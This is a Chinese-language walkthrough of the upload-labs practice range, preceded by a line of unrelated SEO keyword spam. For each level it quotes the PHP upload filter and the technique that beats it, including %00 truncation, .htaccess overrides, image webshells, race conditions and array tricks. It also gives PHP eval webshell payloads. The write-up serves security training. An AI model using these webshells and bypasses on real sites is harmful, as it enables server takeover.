美容院门户网站开发,成都房地产开发商排名,均安公司网站建设,微信登陆wordpressupload-labs文件上传漏洞靶场 目录 upload-labs文件上传漏洞靶场第一关pass-01#xff1a;第二关Pass-02第三关pass-03#xff1a;第四关pass-04#xff1a;第五关pass-05#xff1a;第六关pass-06#xff1a;第七关Pass-07第八关Pass-08第九关Pass-09第十关Pass-10第十一…upload-labs文件上传漏洞靶场 目录 upload-labs文件上传漏洞靶场第一关pass-01第二关Pass-02第三关pass-03第四关pass-04第五关pass-05第六关pass-06第七关Pass-07第八关Pass-08第九关Pass-09第十关Pass-10第十一关Pass-11第十二关Pass-12第十三关Pass-13第十四关Pass-14第十五关Pass-15第十六关Pass-16第十七关Pass-17第十八关Pass-18第十九关Pass-19第二十关Pass-20第二十一关Pass-21 第一关pass-01
看源码可知道 仅让上传此三类的文件类型其他都不可以上传。
上传会有js弹窗前端检查前端校验 我们可以有三种绕过方法
第一种关闭网页的js提示弹窗
第二种检查源代码进行修改
第三种利用burp进行抓包修改上传的文件后缀.php
第一种
在火狐浏览器中搜索about:config将js关闭即可 再次上传即可成功。 方法二检查页面的代码进行修改删除相应的方法以及返回值 删掉返回函数再次尝试。 删除完成后再次上传 上传成功
验证
可以正常解析 第三种burp抓包改文件的后缀即可成功。
burp进行抓包修改文件的后缀放包 上传成功 第二关Pass-02
查看源码可知道服务器端检查MIME类型HTTP Header中的Content-Type 验证是否可以解析 第三关pass-03 查看代码可以知道后端服务器做了很多的限制不允许上传不允许上传.asp,.aspx,.php,.jsp后缀文件删除文件末尾的点转换为小写收尾去空等限制 我们可以上传文件的别名使用别名来绕过黑名单 放包后上传成功 访问并观察是否能够解析php 第四关pass-04
代码 绕过方法
方法一
根据源代码改后缀改为xxxx.php. . 验证是否可以解析 方法二
上传.htaccess文件文件内容
FilesMatch lc
Sethandler application/x-httpd-php
/FilesMatch再上传文件名当中包含lc的木马文件文件木马文件码或者一句话木马 上传成功后访问看是否能被解析
成功解析 第五关pass-05
观察源代码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(.php,.php5,.php4,.php3,.php2,.html,.htm,.phtml,.pht,.pHp,.pHp5,.pHp4,.pHp3,.pHp2,.Html,.Htm,.pHtml,.jsp,.jspa,.jspx,.jsw,.jsv,.jspf,.jtml,.jSp,.jSpx,.jSpa,.jSw,.jSv,.jSpf,.jHtml,.asp,.aspx,.asa,.asax,.ascx,.ashx,.asmx,.cer,.aSp,.aSpx,.aSa,.aSax,.aScx,.aShx,.aSmx,.cEr,.sWf,.swf,.htaccess);$file_name trim($_FILES[upload_file][name]);$file_name deldot($file_name);//删除文件名末尾的点$file_ext strrchr($file_name, .);$file_ext strtolower($file_ext); //转换为小写$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA$file_ext trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg 此文件类型不允许上传;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}由源代码可知过滤方式和第四关差不多这一个又过滤了.htaccess所以我们无法上传.htaccess文件了
绕过方式同第四关方法一相同使用xxxx.php. .后缀的文件进行上传绕过
第六关pass-06
观察源代码 发现此关卡没有过滤大小写所以可以大小写绕过 成功上传
第七关Pass-07
观察源代码 发现没有过滤空格所以可以文件后缀空格进行绕过 访问该地址看是否能被解析
成功解析 第八关Pass-08
观察源码 没有过滤后缀名末尾的点所以可以在后缀.进行绕过 访问木马文件的地址观察能否成功解析 第九关Pass-09
观察源码 发现没有过虑去除字符串::$DATA
所以可以文件后缀加上::$DATA进行绕过 成功上传后访问该木马文件地址
注意访问时去掉::$DATA
成功解析 第十关Pass-10
源代码 本关卡可以使用. .进行绕过同第四关方法一相同抓包修改后缀即可。 第十一关Pass-11
观察源码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess,ini);$file_name trim($_FILES[upload_file][name]);$file_name str_ireplace($deny_ext,, $file_name);$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH./.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload true;} else {$msg 上传出错;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}将黑名单当中的后缀名进行替换只要遇到黑名单当中的后缀就替换成空
所以本关卡可以使用双写进行绕过xxx.pphphp 访问该木马文件地址看是否能够解析
成功解析 第十二关Pass-12
源代码
$is_upload false;
$msg null;
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}} else{$msg 只允许上传.jpg|.png|.gif类型文件;}
}0x00截断绕过
文件名后缀就一个%00字节可以截断某些函数对文件名的判断。在许多语言函数中处理字符串 的函数中0x00被认为是终止符。网站上传函数处理 XXX.php%00.jpg 时首先后缀名是合法的jpg格式可以上传在保存文件时遇到%00字符丢弃后面的jpg文件后缀最终保存的后缀名为xxx.php.本关卡观察源码发现为GET请求 直接上传php文件提示报错 上传png图片码或者在图片当中插入一句话木马 进行%00截断 复制木马文件地址链接验证是否能够解析:
注意删掉%00后面的部分然后再访问执行
成功解析 第十三关Pass-13
观察源码
$is_upload false;
$msg null;
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_POST[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传失败;}} else {$msg 只允许上传.jpg|.png|.gif类型文件;}
}本关卡和上一关基本一致区别为本关卡为POST请求
同理还是使用%00截断注意的是POST请求在使用%00截断时%00需要进行url编码处理 编码后 放包后成功上传复制图片木马地址进行访问看是否能够解析
注意在访问时该木马文件地址时还是删掉%00后面的内容
成功解析 另外一种方法
还可以在上传的时候在后缀处添加空格将空格的对应16进制编码改为00放包即可 找到对应的16进制位将16进制数值20改为00放包即可 访问木马看是否被解析
注意将木马地址当中的%00后面的内容删除掉留php后缀的木马文件即可
成功解析执行 第十四关Pass-14
源代码
function getReailFileType($filename){$file fopen($filename, rb);$bin fread($file, 2); //只读2字节fclose($file);$strInfo unpack(C2chars, $bin); $typeCode intval($strInfo[chars1].$strInfo[chars2]); $fileType ; switch($typeCode){ case 255216: $fileType jpg;break;case 13780: $fileType png;break; case 7173: $fileType gif;break;default: $fileType unknown;} return $fileType;
}$is_upload false;
$msg null;
if(isset($_POST[submit])){$temp_file $_FILES[upload_file][tmp_name];$file_type getReailFileType($temp_file);if($file_type unknown){$msg 文件未知上传失败;}else{$img_path UPLOAD_PATH./.rand(10, 99).date(YmdHis)...$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}}
}通过源码分析可得源码读取前2个字节判断上传文件的类型判断通过后便重新给文件赋予新的后缀名。
本关可以使用图片码搭配文件包含来进行绕过因为存在include 所以会以本文的形式读取webshell.jpg的内容这样存在于webshell.jpg里的一句话木马就可以执行
图片码制作
copy 1.png /b shell.php /a webshell.jpg或者使用编辑器工具直接在图片当中插入一句话木马即可通过文件包含去包含这个图片马包含后里面的数据信息会当中php代码进行执行。
文件包含后成功执行并解析 第十五关Pass-15
源码 通过源码分析
image_type_to_extension 根据指定的图像类型返回对应的后缀名
做法和14关一样相同的方法进行绕过。
第十六关Pass-16
本关卡需要开启php_exif模块在phpstudy扩展当中找到该模块开启即可 源码 由源码可得
exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。 本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。
绕过方式和做法同14关一样。
第十七关Pass-17
源码
$is_upload false;
$msg null;
if (isset($_POST[submit])){// 获得上传文件的基本信息文件名类型大小临时文件路径$filename $_FILES[upload_file][name];$filetype $_FILES[upload_file][type];$tmpname $_FILES[upload_file][tmp_name];$target_pathUPLOAD_PATH./.basename($filename);// 获得上传文件的扩展名$fileext substr(strrchr($filename,.),1);//判断文件后缀与类型合法才进行上传操作if(($fileext jpg) ($filetypeimage/jpeg)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromjpeg($target_path);if($im false){$msg 该文件不是jpg格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..jpg;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagejpeg($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else if(($fileext png) ($filetypeimage/png)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefrompng($target_path);if($im false){$msg 该文件不是png格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..png;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagepng($im,$img_path);unlink($target_path);$is_upload true; }} else {$msg 上传出错;}}else if(($fileext gif) ($filetypeimage/gif)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im imagecreatefromgif($target_path);if($im false){$msg 该文件不是gif格式的图片;unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename strval(rand())..gif;//显示二次渲染后的图片使用用户上传图片生成的新图片$img_path UPLOAD_PATH./.$newfilename;imagegif($im,$img_path);unlink($target_path);$is_upload true;}} else {$msg 上传出错;}}else{$msg 只允许上传后缀为.jpg|.png|.gif的图片文件;}
}分析源码可得
本关卡为二次渲染
在我们上传文件后网站会对图片进行二次处理格式、尺寸要求等服务器会把里面的内容进行替换更新处理完成后根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。绕过
配合文件包含漏洞
将一句话木马插入到网站二次处理后的图片中也就是把一句话插入图片在二次渲染后会保留的那部分数据里确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话在配合文件包含漏洞获取webshell。简单说就是先正常的上传一个图片马去正常的访问发现一句话木马没有了然后将上传的图片马下载下来和原始的图片码进行对比看哪里变了哪里没变在没变的地方插入一句话木马再次上传结合文件包含去访问即可。正常的去上去带有一句话木马的图片马 点击上传可成功上传然后去访问 复制该图片马的地址去访问
访问发现我们的一句话木马被删掉了 这时我们将上传的木马下载下来进行和源图片马就行对比 对比发现变化的地方很多只有头部没有变化所以我们在头部插入我们的一句话木马 再次上传我们下载下来的图片 再次去访问
成功解析 第十八关Pass-18
源码
$is_upload false;
$msg null;if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_name $_FILES[upload_file][name];$temp_file $_FILES[upload_file][tmp_name];$file_ext substr($file_name,strrpos($file_name,.)1);$upload_file UPLOAD_PATH . / . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}通过源码分析本关卡可以使用条件竞争进行绕过
也可以使用文件包含进行包含图片马
条件竞争
在服务器删除我们上传的非法文件之前访问这个文件从而生成另一个木马文件用这个木马文件getshell竞争条件原理
网站允许上传任意文件然后检测文件中若有webshell就删除文件若不是指定类型文件那么就使用unlink删除文件
在删除之前访问上传的php文件从而执行上传文件中的php代码
在我们上传这个木马文件上传到服务器之前在重命名删除之前去抢占这个文件从而执行当中的php恶意代码为了呈现比较明显的效果我们在木马文件当中写入这句话
php一句话创建以及写入文件内容
?php fwrite(fopen(cmd.php,w),?php eval($_POST[SHELL]);?);?上传时进行抓包发给intruder模块 清空标记的变量将payload设置为空值爆破 可将线程调高一些 接下来访问shell.php的地址再进行抓包发给intruder模块 其余配置信息和以上一致接下来进行攻击即可。 状态码为200说明抢占shell.php成功木马中的php代码成功执行接下来停止攻击访问木马当中生成的cmd.php木马文件即可。
验证是否能够成功解析
成功解析 另外一种方法是上传图片马使用文件包含去包含这个图片马
正常的去上传 尝试文件包含
一样还是可以成功被解析出来 第十九关Pass-19
本关卡上传路径和其他关卡不同本关上传路径上传后会发现上传到网站的www目录下可进行修改
myupload.php修改一下路径
function setDir( $dir ){if( !is_writable( $dir ) ){return DIRECTORY_FAILURE;} else { $this-cls_upload_dir $dir./; // 这里改一下加个斜杠return 1;......其他的操作和绕过方式同18关一致也可使用文件包含进行绕过。
上传图片马由于存在include.php所以可通过include.php进行文件包含同18关一样。
第二十关Pass-20
源码
$is_upload false;
$msg null;
if (isset($_POST[submit])) {if (file_exists(UPLOAD_PATH)) {$deny_ext array(php,php5,php4,php3,php2,html,htm,phtml,pht,jsp,jspa,jspx,jsw,jsv,jspf,jtml,asp,aspx,asa,asax,ascx,ashx,asmx,cer,swf,htaccess);$file_name $_POST[save_name];$file_ext pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload true;}else{$msg 上传出错;}}else{$msg 禁止保存为该类型文件;}} else {$msg UPLOAD_PATH . 文件夹不存在,请手工创建;}
}源码分析可得save_name 可控可以通过 .,空格00截断绕过对后缀的判断进行绕过
方法一%00截断进行绕过
上传webshell 成功上传
注意访问时将%00后面的内容进行删除只留下php后缀的木马即可成功解析文件 方法二在后缀后加上/.让服务器认为是目录匹配时会匹配成php/.绕过检测 修改后放包即可 成功上传复制地址链接访问验证是否能够解析成功
成功解析 方法三相同的位置在POST请求体当中上传的文件在重命名的文件处修改后缀名php空格也可以进行绕过和上述操作一致区别就是后缀后空格同理.也可以
第二十一关Pass-21
源码
$is_upload false;
$msg null;
if(!empty($_FILES[upload_file])){//检查MIME$allow_type array(image/jpeg,image/png,image/gif);if(!in_array($_FILES[upload_file][type],$allow_type)){$msg 禁止上传该类型文件!;}else{//检查文件名$file empty($_POST[save_name]) ? $_FILES[upload_file][name] : $_POST[save_name];if (!is_array($file)) {$file explode(., strtolower($file));}$ext end($file);$allow_suffix array(jpg,png,gif);if (!in_array($ext, $allow_suffix)) {$msg 禁止上传该后缀文件!;}else{$file_name reset($file) . . . $file[count($file) - 1];$temp_file $_FILES[upload_file][tmp_name];$img_path UPLOAD_PATH . / .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg 文件上传成功;$is_upload true;} else {$msg 文件上传失败;}}}
}else{$msg 请选择要上传的文件;
}通过源码分析可得
源码逻辑
检查MIME 通过抓包改Content-Type 绕过判断 POST参数 save_name 是否为空判断$file 是否为数组不是数组以 .分割化为数组取 $file 最后一个元素作为文件后缀进行检查取 f i l e 第一位和第 ‘ file 第一位和第 file第一位和第‘file[count($file) - 1]作为文件名和后缀名保存文件
思路
上传 webshell.php, 修改save_name 为数组绕过对 f i l e 的切割最后 file 的切割最后 file的切割最后file 最后一个元素是 save_name[2] png 绕过后缀检测 然后reset($file) webshell.php 。相当于抓包将save_name修改为数组save_name[0]的值为webshell.php/save_name[2]的值为png放包即可。上传图片马或者带有一句话木马的图片格式文件。
$file[1] 没有定义为空count($file) 的值为$file[count($file) - 1] $file[1]所以最后上传的文件为webshell.php
操作
使用数组进行绕过 成功上传 复制图片地址链接进行访问看是否能够被成功解析
成功解析 注意
上传时POST请求体当中的构造的save_name数组当中的上传文件名的信息后缀不用加/.加/即可否则上传失败 文章不妥之处欢迎批评指正